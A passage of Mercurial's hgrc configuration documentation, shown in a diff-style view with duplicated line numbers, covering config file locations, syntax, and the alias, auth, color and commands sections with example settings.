41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
42
42
43 .. container:: unix.plan9
43 .. container:: unix.plan9
44
44
45 - ``$HOME/.hgrc`` (on Unix, Plan9)
45 - ``$HOME/.hgrc`` (on Unix, Plan9)
46
46
47 The names of these files depend on the system on which Mercurial is
47 The names of these files depend on the system on which Mercurial is
48 installed. ``*.rc`` files from a single directory are read in
48 installed. ``*.rc`` files from a single directory are read in
49 alphabetical order, later ones overriding earlier ones. Where multiple
49 alphabetical order, later ones overriding earlier ones. Where multiple
50 paths are given below, settings from earlier paths override later
50 paths are given below, settings from earlier paths override later
51 ones.
51 ones.
52
52
53 .. container:: verbose.unix
53 .. container:: verbose.unix
54
54
55 On Unix, the following files are consulted:
55 On Unix, the following files are consulted:
56
56
57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
58 - ``<repo>/.hg/hgrc`` (per-repository)
58 - ``<repo>/.hg/hgrc`` (per-repository)
59 - ``$HOME/.hgrc`` (per-user)
59 - ``$HOME/.hgrc`` (per-user)
60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
63 - ``/etc/mercurial/hgrc`` (per-system)
63 - ``/etc/mercurial/hgrc`` (per-system)
64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
65 - ``<internal>/*.rc`` (defaults)
65 - ``<internal>/*.rc`` (defaults)
66
66
67 .. container:: verbose.windows
67 .. container:: verbose.windows
68
68
69 On Windows, the following files are consulted:
69 On Windows, the following files are consulted:
70
70
71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
72 - ``<repo>/.hg/hgrc`` (per-repository)
72 - ``<repo>/.hg/hgrc`` (per-repository)
73 - ``%USERPROFILE%\.hgrc`` (per-user)
73 - ``%USERPROFILE%\.hgrc`` (per-user)
74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
75 - ``%HOME%\.hgrc`` (per-user)
75 - ``%HOME%\.hgrc`` (per-user)
76 - ``%HOME%\Mercurial.ini`` (per-user)
76 - ``%HOME%\Mercurial.ini`` (per-user)
77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
79 - ``<install-dir>\Mercurial.ini`` (per-installation)
79 - ``<install-dir>\Mercurial.ini`` (per-installation)
80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
83 - ``<internal>/*.rc`` (defaults)
83 - ``<internal>/*.rc`` (defaults)
84
84
85 .. note::
85 .. note::
86
86
87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
88 is used when running 32-bit Python on 64-bit Windows.
88 is used when running 32-bit Python on 64-bit Windows.
89
89
90 .. container:: verbose.plan9
90 .. container:: verbose.plan9
91
91
92 On Plan9, the following files are consulted:
92 On Plan9, the following files are consulted:
93
93
94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
95 - ``<repo>/.hg/hgrc`` (per-repository)
95 - ``<repo>/.hg/hgrc`` (per-repository)
96 - ``$home/lib/hgrc`` (per-user)
96 - ``$home/lib/hgrc`` (per-user)
97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
99 - ``/lib/mercurial/hgrc`` (per-system)
99 - ``/lib/mercurial/hgrc`` (per-system)
100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
101 - ``<internal>/*.rc`` (defaults)
101 - ``<internal>/*.rc`` (defaults)
102
102
103 Per-repository configuration options only apply in a
103 Per-repository configuration options only apply in a
104 particular repository. This file is not version-controlled, and
104 particular repository. This file is not version-controlled, and
105 will not get transferred during a "clone" operation. Options in
105 will not get transferred during a "clone" operation. Options in
106 this file override options in all other configuration files.
106 this file override options in all other configuration files.
107
107
108 .. container:: unix.plan9
108 .. container:: unix.plan9
109
109
110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
111 belong to a trusted user or to a trusted group. See
111 belong to a trusted user or to a trusted group. See
112 :hg:`help config.trusted` for more details.
112 :hg:`help config.trusted` for more details.
113
113
114 Per-user configuration file(s) are for the user running Mercurial. Options
114 Per-user configuration file(s) are for the user running Mercurial. Options
115 in these files apply to all Mercurial commands executed by this user in any
115 in these files apply to all Mercurial commands executed by this user in any
116 directory. Options in these files override per-system and per-installation
116 directory. Options in these files override per-system and per-installation
117 options.
117 options.
118
118
119 Per-installation configuration files are searched for in the
119 Per-installation configuration files are searched for in the
120 directory where Mercurial is installed. ``<install-root>`` is the
120 directory where Mercurial is installed. ``<install-root>`` is the
121 parent directory of the **hg** executable (or symlink) being run.
121 parent directory of the **hg** executable (or symlink) being run.
122
122
123 .. container:: unix.plan9
123 .. container:: unix.plan9
124
124
125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
127 files apply to all Mercurial commands executed by any user in any
127 files apply to all Mercurial commands executed by any user in any
128 directory.
128 directory.
129
129
130 Per-installation configuration files are for the system on
130 Per-installation configuration files are for the system on
131 which Mercurial is running. Options in these files apply to all
131 which Mercurial is running. Options in these files apply to all
132 Mercurial commands executed by any user in any directory. Registry
132 Mercurial commands executed by any user in any directory. Registry
133 keys contain PATH-like strings, every part of which must reference
133 keys contain PATH-like strings, every part of which must reference
134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
135 be read. Mercurial checks each of these locations in the specified
135 be read. Mercurial checks each of these locations in the specified
136 order until one or more configuration files are detected.
136 order until one or more configuration files are detected.
137
137
138 Per-system configuration files are for the system on which Mercurial
138 Per-system configuration files are for the system on which Mercurial
139 is running. Options in these files apply to all Mercurial commands
139 is running. Options in these files apply to all Mercurial commands
140 executed by any user in any directory. Options in these files
140 executed by any user in any directory. Options in these files
141 override per-installation options.
141 override per-installation options.
142
142
143 Mercurial comes with some default configuration. The default configuration
143 Mercurial comes with some default configuration. The default configuration
144 files are installed with Mercurial and will be overwritten on upgrades. Default
144 files are installed with Mercurial and will be overwritten on upgrades. Default
145 configuration files should never be edited by users or administrators but can
145 configuration files should never be edited by users or administrators but can
146 be overridden in other configuration files. So far the directory only contains
146 be overridden in other configuration files. So far the directory only contains
147 merge tool configuration but packagers can also put other default configuration
147 merge tool configuration but packagers can also put other default configuration
148 there.
148 there.
149
149
150 On versions 5.7 and later, if share-safe functionality is enabled,
150 On versions 5.7 and later, if share-safe functionality is enabled,
151 shares will read config file of share source too.
151 shares will read config file of share source too.
152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
153
153
154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
155 should be used.
155 should be used.
156
156
157 Syntax
157 Syntax
158 ======
158 ======
159
159
160 A configuration file consists of sections, led by a ``[section]`` header
160 A configuration file consists of sections, led by a ``[section]`` header
161 and followed by ``name = value`` entries (sometimes called
161 and followed by ``name = value`` entries (sometimes called
162 ``configuration keys``)::
162 ``configuration keys``)::
163
163
164 [spam]
164 [spam]
165 eggs=ham
165 eggs=ham
166 green=
166 green=
167 eggs
167 eggs
168
168
169 Each line contains one entry. If the lines that follow are indented,
169 Each line contains one entry. If the lines that follow are indented,
170 they are treated as continuations of that entry. Leading whitespace is
170 they are treated as continuations of that entry. Leading whitespace is
171 removed from values. Empty lines are skipped. Lines beginning with
171 removed from values. Empty lines are skipped. Lines beginning with
172 ``#`` or ``;`` are ignored and may be used to provide comments.
172 ``#`` or ``;`` are ignored and may be used to provide comments.
173
173
174 Configuration keys can be set multiple times, in which case Mercurial
174 Configuration keys can be set multiple times, in which case Mercurial
175 will use the value that was configured last. As an example::
175 will use the value that was configured last. As an example::
176
176
177 [spam]
177 [spam]
178 eggs=large
178 eggs=large
179 ham=serrano
179 ham=serrano
180 eggs=small
180 eggs=small
181
181
182 This would set the configuration key named ``eggs`` to ``small``.
182 This would set the configuration key named ``eggs`` to ``small``.
183
183
184 It is also possible to define a section multiple times. A section can
184 It is also possible to define a section multiple times. A section can
185 be redefined on the same and/or on different configuration files. For
185 be redefined on the same and/or on different configuration files. For
186 example::
186 example::
187
187
188 [foo]
188 [foo]
189 eggs=large
189 eggs=large
190 ham=serrano
190 ham=serrano
191 eggs=small
191 eggs=small
192
192
193 [bar]
193 [bar]
194 eggs=ham
194 eggs=ham
195 green=
195 green=
196 eggs
196 eggs
197
197
198 [foo]
198 [foo]
199 ham=prosciutto
199 ham=prosciutto
200 eggs=medium
200 eggs=medium
201 bread=toasted
201 bread=toasted
202
202
203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
205 respectively. As you can see there only thing that matters is the last
205 respectively. As you can see there only thing that matters is the last
206 value that was set for each of the configuration keys.
206 value that was set for each of the configuration keys.
207
207
208 If a configuration key is set multiple times in different
208 If a configuration key is set multiple times in different
209 configuration files the final value will depend on the order in which
209 configuration files the final value will depend on the order in which
210 the different configuration files are read, with settings from earlier
210 the different configuration files are read, with settings from earlier
211 paths overriding later ones as described on the ``Files`` section
211 paths overriding later ones as described on the ``Files`` section
212 above.
212 above.
213
213
214 A line of the form ``%include file`` will include ``file`` into the
214 A line of the form ``%include file`` will include ``file`` into the
215 current configuration file. The inclusion is recursive, which means
215 current configuration file. The inclusion is recursive, which means
216 that included files can include other files. Filenames are relative to
216 that included files can include other files. Filenames are relative to
217 the configuration file in which the ``%include`` directive is found.
217 the configuration file in which the ``%include`` directive is found.
218 Environment variables and ``~user`` constructs are expanded in
218 Environment variables and ``~user`` constructs are expanded in
219 ``file``. This lets you do something like::
219 ``file``. This lets you do something like::
220
220
221 %include ~/.hgrc.d/$HOST.rc
221 %include ~/.hgrc.d/$HOST.rc
222
222
223 to include a different configuration file on each computer you use.
223 to include a different configuration file on each computer you use.
224
224
225 A line with ``%unset name`` will remove ``name`` from the current
225 A line with ``%unset name`` will remove ``name`` from the current
226 section, if it has been set previously.
226 section, if it has been set previously.
227
227
228 The values are either free-form text strings, lists of text strings,
228 The values are either free-form text strings, lists of text strings,
229 or Boolean values. Boolean values can be set to true using any of "1",
229 or Boolean values. Boolean values can be set to true using any of "1",
230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
231 (all case insensitive).
231 (all case insensitive).
232
232
233 List values are separated by whitespace or comma, except when values are
233 List values are separated by whitespace or comma, except when values are
234 placed in double quotation marks::
234 placed in double quotation marks::
235
235
236 allow_read = "John Doe, PhD", brian, betty
236 allow_read = "John Doe, PhD", brian, betty
237
237
238 Quotation marks can be escaped by prefixing them with a backslash. Only
238 Quotation marks can be escaped by prefixing them with a backslash. Only
239 quotation marks at the beginning of a word is counted as a quotation
239 quotation marks at the beginning of a word is counted as a quotation
240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
241
241
242 Sections
242 Sections
243 ========
243 ========
244
244
245 This section describes the different sections that may appear in a
245 This section describes the different sections that may appear in a
246 Mercurial configuration file, the purpose of each section, its possible
246 Mercurial configuration file, the purpose of each section, its possible
247 keys, and their possible values.
247 keys, and their possible values.
248
248
249 ``alias``
249 ``alias``
250 ---------
250 ---------
251
251
252 Defines command aliases.
252 Defines command aliases.
253
253
254 Aliases allow you to define your own commands in terms of other
254 Aliases allow you to define your own commands in terms of other
255 commands (or aliases), optionally including arguments. Positional
255 commands (or aliases), optionally including arguments. Positional
256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
257 are expanded by Mercurial before execution. Positional arguments not
257 are expanded by Mercurial before execution. Positional arguments not
258 already used by ``$N`` in the definition are put at the end of the
258 already used by ``$N`` in the definition are put at the end of the
259 command to be executed.
259 command to be executed.
260
260
261 Alias definitions consist of lines of the form::
261 Alias definitions consist of lines of the form::
262
262
263 <alias> = <command> [<argument>]...
263 <alias> = <command> [<argument>]...
264
264
265 For example, this definition::
265 For example, this definition::
266
266
267 latest = log --limit 5
267 latest = log --limit 5
268
268
269 creates a new command ``latest`` that shows only the five most recent
269 creates a new command ``latest`` that shows only the five most recent
270 changesets. You can define subsequent aliases using earlier ones::
270 changesets. You can define subsequent aliases using earlier ones::
271
271
272 stable5 = latest -b stable
272 stable5 = latest -b stable
273
273
274 .. note::
274 .. note::
275
275
276 It is possible to create aliases with the same names as
276 It is possible to create aliases with the same names as
277 existing commands, which will then override the original
277 existing commands, which will then override the original
278 definitions. This is almost always a bad idea!
278 definitions. This is almost always a bad idea!
279
279
280 An alias can start with an exclamation point (``!``) to make it a
280 An alias can start with an exclamation point (``!``) to make it a
281 shell alias. A shell alias is executed with the shell and will let you
281 shell alias. A shell alias is executed with the shell and will let you
282 run arbitrary commands. As an example, ::
282 run arbitrary commands. As an example, ::
283
283
284 echo = !echo $@
284 echo = !echo $@
285
285
286 will let you do ``hg echo foo`` to have ``foo`` printed in your
286 will let you do ``hg echo foo`` to have ``foo`` printed in your
287 terminal. A better example might be::
287 terminal. A better example might be::
288
288
289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
290
290
291 which will make ``hg purge`` delete all unknown files in the
291 which will make ``hg purge`` delete all unknown files in the
292 repository in the same manner as the purge extension.
292 repository in the same manner as the purge extension.
293
293
294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
295 expand to the command arguments. Unmatched arguments are
295 expand to the command arguments. Unmatched arguments are
296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
298 arguments quoted individually and separated by a space. These expansions
298 arguments quoted individually and separated by a space. These expansions
299 happen before the command is passed to the shell.
299 happen before the command is passed to the shell.
300
300
301 Shell aliases are executed in an environment where ``$HG`` expands to
301 Shell aliases are executed in an environment where ``$HG`` expands to
302 the path of the Mercurial that was used to execute the alias. This is
302 the path of the Mercurial that was used to execute the alias. This is
303 useful when you want to call further Mercurial commands in a shell
303 useful when you want to call further Mercurial commands in a shell
304 alias, as was done above for the purge alias. In addition,
304 alias, as was done above for the purge alias. In addition,
305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
307
307
308 .. note::
308 .. note::
309
309
310 Some global configuration options such as ``-R`` are
310 Some global configuration options such as ``-R`` are
311 processed before shell aliases and will thus not be passed to
311 processed before shell aliases and will thus not be passed to
312 aliases.
312 aliases.
313
313
314
314
315 ``annotate``
315 ``annotate``
316 ------------
316 ------------
317
317
318 Settings used when displaying file annotations. All values are
318 Settings used when displaying file annotations. All values are
319 Booleans and default to False. See :hg:`help config.diff` for
319 Booleans and default to False. See :hg:`help config.diff` for
320 related options for the diff command.
320 related options for the diff command.
321
321
322 ``ignorews``
322 ``ignorews``
323 Ignore white space when comparing lines.
323 Ignore white space when comparing lines.
324
324
325 ``ignorewseol``
325 ``ignorewseol``
326 Ignore white space at the end of a line when comparing lines.
326 Ignore white space at the end of a line when comparing lines.
327
327
328 ``ignorewsamount``
328 ``ignorewsamount``
329 Ignore changes in the amount of white space.
329 Ignore changes in the amount of white space.
330
330
331 ``ignoreblanklines``
331 ``ignoreblanklines``
332 Ignore changes whose lines are all blank.
332 Ignore changes whose lines are all blank.
333
333
334
334
335 ``auth``
335 ``auth``
336 --------
336 --------
337
337
338 Authentication credentials and other authentication-like configuration
338 Authentication credentials and other authentication-like configuration
339 for HTTP connections. This section allows you to store usernames and
339 for HTTP connections. This section allows you to store usernames and
340 passwords for use when logging *into* HTTP servers. See
340 passwords for use when logging *into* HTTP servers. See
341 :hg:`help config.web` if you want to configure *who* can login to
341 :hg:`help config.web` if you want to configure *who* can login to
342 your HTTP server.
342 your HTTP server.
343
343
344 The following options apply to all hosts.
344 The following options apply to all hosts.
345
345
346 ``cookiefile``
346 ``cookiefile``
347 Path to a file containing HTTP cookie lines. Cookies matching a
347 Path to a file containing HTTP cookie lines. Cookies matching a
348 host will be sent automatically.
348 host will be sent automatically.
349
349
350 The file format uses the Mozilla cookies.txt format, which defines cookies
350 The file format uses the Mozilla cookies.txt format, which defines cookies
351 on their own lines. Each line contains 7 fields delimited by the tab
351 on their own lines. Each line contains 7 fields delimited by the tab
352 character (domain, is_domain_cookie, path, is_secure, expires, name,
352 character (domain, is_domain_cookie, path, is_secure, expires, name,
353 value). For more info, do an Internet search for "Netscape cookies.txt
353 value). For more info, do an Internet search for "Netscape cookies.txt
354 format."
354 format."
355
355
356 Note: the cookies parser does not handle port numbers on domains. You
356 Note: the cookies parser does not handle port numbers on domains. You
357 will need to remove ports from the domain for the cookie to be recognized.
357 will need to remove ports from the domain for the cookie to be recognized.
358 This could result in a cookie being disclosed to an unwanted server.
358 This could result in a cookie being disclosed to an unwanted server.
359
359
360 The cookies file is read-only.
360 The cookies file is read-only.
361
361
362 Other options in this section are grouped by name and have the following
362 Other options in this section are grouped by name and have the following
363 format::
363 format::
364
364
365 <name>.<argument> = <value>
365 <name>.<argument> = <value>
366
366
367 where ``<name>`` is used to group arguments into authentication
367 where ``<name>`` is used to group arguments into authentication
368 entries. Example::
368 entries. Example::
369
369
370 foo.prefix = hg.intevation.de/mercurial
370 foo.prefix = hg.intevation.de/mercurial
371 foo.username = foo
371 foo.username = foo
372 foo.password = bar
372 foo.password = bar
373 foo.schemes = http https
373 foo.schemes = http https
374
374
375 bar.prefix = secure.example.org
375 bar.prefix = secure.example.org
376 bar.key = path/to/file.key
376 bar.key = path/to/file.key
377 bar.cert = path/to/file.cert
377 bar.cert = path/to/file.cert
378 bar.schemes = https
378 bar.schemes = https
379
379
380 Supported arguments:
380 Supported arguments:
381
381
382 ``prefix``
382 ``prefix``
383 Either ``*`` or a URI prefix with or without the scheme part.
383 Either ``*`` or a URI prefix with or without the scheme part.
384 The authentication entry with the longest matching prefix is used
384 The authentication entry with the longest matching prefix is used
385 (where ``*`` matches everything and counts as a match of length
385 (where ``*`` matches everything and counts as a match of length
386 1). If the prefix doesn't include a scheme, the match is performed
386 1). If the prefix doesn't include a scheme, the match is performed
387 against the URI with its scheme stripped as well, and the schemes
387 against the URI with its scheme stripped as well, and the schemes
388 argument, q.v., is then subsequently consulted.
388 argument, q.v., is then subsequently consulted.
389
389
390 ``username``
390 ``username``
391 Optional. Username to authenticate with. If not given, and the
391 Optional. Username to authenticate with. If not given, and the
392 remote site requires basic or digest authentication, the user will
392 remote site requires basic or digest authentication, the user will
393 be prompted for it. Environment variables are expanded in the
393 be prompted for it. Environment variables are expanded in the
394 username letting you do ``foo.username = $USER``. If the URI
394 username letting you do ``foo.username = $USER``. If the URI
395 includes a username, only ``[auth]`` entries with a matching
395 includes a username, only ``[auth]`` entries with a matching
396 username or without a username will be considered.
396 username or without a username will be considered.
397
397
398 ``password``
398 ``password``
399 Optional. Password to authenticate with. If not given, and the
399 Optional. Password to authenticate with. If not given, and the
400 remote site requires basic or digest authentication, the user
400 remote site requires basic or digest authentication, the user
401 will be prompted for it.
401 will be prompted for it.
402
402
403 ``key``
403 ``key``
404 Optional. PEM encoded client certificate key file. Environment
404 Optional. PEM encoded client certificate key file. Environment
405 variables are expanded in the filename.
405 variables are expanded in the filename.
406
406
407 ``cert``
407 ``cert``
408 Optional. PEM encoded client certificate chain file. Environment
408 Optional. PEM encoded client certificate chain file. Environment
409 variables are expanded in the filename.
409 variables are expanded in the filename.
410
410
411 ``schemes``
411 ``schemes``
412 Optional. Space separated list of URI schemes to use this
412 Optional. Space separated list of URI schemes to use this
413 authentication entry with. Only used if the prefix doesn't include
413 authentication entry with. Only used if the prefix doesn't include
414 a scheme. Supported schemes are http and https. They will match
414 a scheme. Supported schemes are http and https. They will match
415 static-http and static-https respectively, as well.
415 static-http and static-https respectively, as well.
416 (default: https)
416 (default: https)
417
417
418 If no suitable authentication entry is found, the user is prompted
418 If no suitable authentication entry is found, the user is prompted
419 for credentials as usual if required by the remote.
419 for credentials as usual if required by the remote.
420
420
421 ``cmdserver``
421 ``cmdserver``
422 -------------
422 -------------
423
423
424 Controls command server settings. (ADVANCED)
424 Controls command server settings. (ADVANCED)
425
425
426 ``message-encodings``
426 ``message-encodings``
427 List of encodings for the ``m`` (message) channel. The first encoding
427 List of encodings for the ``m`` (message) channel. The first encoding
428 supported by the server will be selected and advertised in the hello
428 supported by the server will be selected and advertised in the hello
429 message. This is useful only when ``ui.message-output`` is set to
429 message. This is useful only when ``ui.message-output`` is set to
430 ``channel``. Supported encodings are ``cbor``.
430 ``channel``. Supported encodings are ``cbor``.
431
431
432 ``shutdown-on-interrupt``
432 ``shutdown-on-interrupt``
433 If set to false, the server's main loop will continue running after
433 If set to false, the server's main loop will continue running after
434 SIGINT received. ``runcommand`` requests can still be interrupted by
434 SIGINT received. ``runcommand`` requests can still be interrupted by
435 SIGINT. Close the write end of the pipe to shut down the server
435 SIGINT. Close the write end of the pipe to shut down the server
436 process gracefully.
436 process gracefully.
437 (default: True)
437 (default: True)
438
438
439 ``color``
439 ``color``
440 ---------
440 ---------
441
441
442 Configure the Mercurial color mode. For details about how to define your custom
442 Configure the Mercurial color mode. For details about how to define your custom
443 effect and style see :hg:`help color`.
443 effect and style see :hg:`help color`.
444
444
445 ``mode``
445 ``mode``
446 String: control the method used to output color. One of ``auto``, ``ansi``,
446 String: control the method used to output color. One of ``auto``, ``ansi``,
447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
449 terminal. Any invalid value will disable color.
449 terminal. Any invalid value will disable color.
450
450
451 ``pagermode``
451 ``pagermode``
452 String: optional override of ``color.mode`` used with pager.
452 String: optional override of ``color.mode`` used with pager.
453
453
454 On some systems, terminfo mode may cause problems when using
454 On some systems, terminfo mode may cause problems when using
455 color with ``less -R`` as a pager program. less with the -R option
455 color with ``less -R`` as a pager program. less with the -R option
456 will only display ECMA-48 color codes, and terminfo mode may sometimes
456 will only display ECMA-48 color codes, and terminfo mode may sometimes
457 emit codes that less doesn't understand. You can work around this by
457 emit codes that less doesn't understand. You can work around this by
458 either using ansi mode (or auto mode), or by using less -r (which will
458 either using ansi mode (or auto mode), or by using less -r (which will
459 pass through all terminal control codes, not just color control
459 pass through all terminal control codes, not just color control
460 codes).
460 codes).
461
461
462 On some systems (such as MSYS in Windows), the terminal may support
462 On some systems (such as MSYS in Windows), the terminal may support
463 a different color mode than the pager program.
463 a different color mode than the pager program.
464
464
465 ``commands``
465 ``commands``
466 ------------
466 ------------
467
467
468 ``commit.post-status``
468 ``commit.post-status``
469 Show status of files in the working directory after successful commit.
469 Show status of files in the working directory after successful commit.
470 (default: False)
470 (default: False)
471
471
472 ``merge.require-rev``
472 ``merge.require-rev``
473 Require that the revision to merge the current commit with be specified on
473 Require that the revision to merge the current commit with be specified on
474 the command line. If this is enabled and a revision is not specified, the
474 the command line. If this is enabled and a revision is not specified, the
475 command aborts.
475 command aborts.
476 (default: False)
476 (default: False)
477
477
478 ``push.require-revs``
478 ``push.require-revs``
479 Require revisions to push be specified using one or more mechanisms such as
479 Require revisions to push be specified using one or more mechanisms such as
480 specifying them positionally on the command line, using ``-r``, ``-b``,
480 specifying them positionally on the command line, using ``-r``, ``-b``,
481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
482 configuration. If this is enabled and revisions are not specified, the
482 configuration. If this is enabled and revisions are not specified, the
483 command aborts.
483 command aborts.
484 (default: False)
484 (default: False)
485
485
486 ``resolve.confirm``
486 ``resolve.confirm``
487 Confirm before performing action if no filename is passed.
487 Confirm before performing action if no filename is passed.
488 (default: False)
488 (default: False)
489
489
490 ``resolve.explicit-re-merge``
490 ``resolve.explicit-re-merge``
491 Require uses of ``hg resolve`` to specify which action it should perform,
491 Require uses of ``hg resolve`` to specify which action it should perform,
492 instead of re-merging files by default.
492 instead of re-merging files by default.
493 (default: False)
493 (default: False)
494
494
495 ``resolve.mark-check``
495 ``resolve.mark-check``
496 Determines what level of checking :hg:`resolve --mark` will perform before
496 Determines what level of checking :hg:`resolve --mark` will perform before
497 marking files as resolved. Valid values are ``none`, ``warn``, and
497 marking files as resolved. Valid values are ``none`, ``warn``, and
498 ``abort``. ``warn`` will output a warning listing the file(s) that still
498 ``abort``. ``warn`` will output a warning listing the file(s) that still
499 have conflict markers in them, but will still mark everything resolved.
499 have conflict markers in them, but will still mark everything resolved.
500 ``abort`` will output the same warning but will not mark things as resolved.
500 ``abort`` will output the same warning but will not mark things as resolved.
501 If --all is passed and this is set to ``abort``, only a warning will be
501 If --all is passed and this is set to ``abort``, only a warning will be
502 shown (an error will not be raised).
502 shown (an error will not be raised).
503 (default: ``none``)
503 (default: ``none``)
504
504
505 ``status.relative``
505 ``status.relative``
506 Make paths in :hg:`status` output relative to the current directory.
506 Make paths in :hg:`status` output relative to the current directory.
507 (default: False)
507 (default: False)
508
508
509 ``status.terse``
509 ``status.terse``
510 Default value for the --terse flag, which condenses status output.
510 Default value for the --terse flag, which condenses status output.
511 (default: empty)
511 (default: empty)
512
512
513 ``update.check``
513 ``update.check``
514 Determines what level of checking :hg:`update` will perform before moving
514 Determines what level of checking :hg:`update` will perform before moving
515 to a destination revision. Valid values are ``abort``, ``none``,
515 to a destination revision. Valid values are ``abort``, ``none``,
516 ``linear``, and ``noconflict``.
516 ``linear``, and ``noconflict``.
517
517
518 - ``abort`` always fails if the working directory has uncommitted changes.
518 - ``abort`` always fails if the working directory has uncommitted changes.
519
519
520 - ``none`` performs no checking, and may result in a merge with uncommitted changes.
520 - ``none`` performs no checking, and may result in a merge with uncommitted changes.
521
521
522 - ``linear`` allows any update as long as it follows a straight line in the
522 - ``linear`` allows any update as long as it follows a straight line in the
523 revision history, and may trigger a merge with uncommitted changes.
523 revision history, and may trigger a merge with uncommitted changes.
524
524
525 - ``noconflict`` will allow any update which would not trigger a merge with
525 - ``noconflict`` will allow any update which would not trigger a merge with
526 uncommitted changes, if any are present.
526 uncommitted changes, if any are present.
527
527
528 (default: ``linear``)
528 (default: ``linear``)
529
529
530 ``update.requiredest``
530 ``update.requiredest``
531 Require that the user pass a destination when running :hg:`update`.
531 Require that the user pass a destination when running :hg:`update`.
532 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
532 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
533 will be disallowed.
533 will be disallowed.
534 (default: False)
534 (default: False)
535
535
536 ``committemplate``
536 ``committemplate``
537 ------------------
537 ------------------
538
538
539 ``changeset``
539 ``changeset``
540 String: configuration in this section is used as the template to
540 String: configuration in this section is used as the template to
541 customize the text shown in the editor when committing.
541 customize the text shown in the editor when committing.
542
542
543 In addition to pre-defined template keywords, commit log specific one
543 In addition to pre-defined template keywords, commit log specific one
544 below can be used for customization:
544 below can be used for customization:
545
545
546 ``extramsg``
546 ``extramsg``
547 String: Extra message (typically 'Leave message empty to abort
547 String: Extra message (typically 'Leave message empty to abort
548 commit.'). This may be changed by some commands or extensions.
548 commit.'). This may be changed by some commands or extensions.
549
549
